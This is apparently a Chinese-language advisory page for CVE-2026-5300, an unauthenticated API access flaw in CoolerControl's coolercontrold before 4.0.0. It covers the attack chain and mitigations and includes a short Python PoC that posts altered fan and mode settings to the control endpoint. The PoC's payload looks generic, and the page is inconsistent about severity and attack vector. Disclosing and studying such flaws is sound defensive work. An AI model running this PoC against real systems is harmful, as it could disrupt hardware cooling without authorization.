IPBUF安全漏洞报告
English
CVE-2026-5300 CVSS 5.9 中危

CVE-2026-5300: CoolerControl未授权访问漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-5300
漏洞类型
未授权访问
CVSS评分
5.9 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CoolerControl

相关标签

未授权访问CoolerControl本地攻击API安全

漏洞概述

CoolerControl是Linux系统下的硬件监控与控制工具。其核心守护进程coolercontrold在4.0.0之前的版本中存在严重安全缺陷。由于未对管理接口实施有效的身份验证机制,未经身份认证的攻击者可以通过构造特制的HTTP请求,在本地访问系统并直接查看或篡改潜在的敏感数据,对系统机密性、完整性及可用性造成影响。

技术细节

该漏洞源于CoolerControl的守护进程coolercontrold在处理HTTP请求时,未对敏感API路由进行身份验证检查。攻击者在获得本地网络访问权限后,可直接向受影响主机的API端口发送HTTP GET或POST请求。由于缺乏认证层(如Token验证或Session检查),服务端会直接处理请求,允许攻击者读取风扇转速、温度设置等敏感信息,甚至修改系统配置导致硬件运行异常或过热。

攻击链分析

STEP 1
侦察
攻击者识别目标主机上运行了CoolerControl服务,并确定其版本低于4.0.0。
STEP 2
漏洞利用
攻击者向本地API端口发送特制的HTTP请求(如PUT或POST),且不携带任何认证凭证。
STEP 3
达成效果
服务器处理请求,导致攻击者成功读取敏感配置或修改硬件控制参数,影响系统安全。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_poc(target_ip): # Target endpoint for sensitive data modification url = f"http://{target_ip}:5000/api/v1/control" headers = {"Content-Type": "application/json"} # Malicious payload to change settings payload = {"speed": 100, "mode": "dangerous"} try: # Send unauthenticated request response = requests.post(url, json=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] PoC Successful: Sensitive data modified without authentication.") print("[+] Response:", response.text) else: print("[-] PoC Failed: Status code", response.status_code) except Exception as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": exploit_poc("127.0.0.1")

影响范围

CoolerControl/coolercontrold < 4.0.0

防御指南

临时缓解措施
建议立即检查CoolerControl版本,若无法升级,请暂时停止coolercontrold服务或通过iptables等工具严格限制对服务端口的入站访问,阻断未授权的外部连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表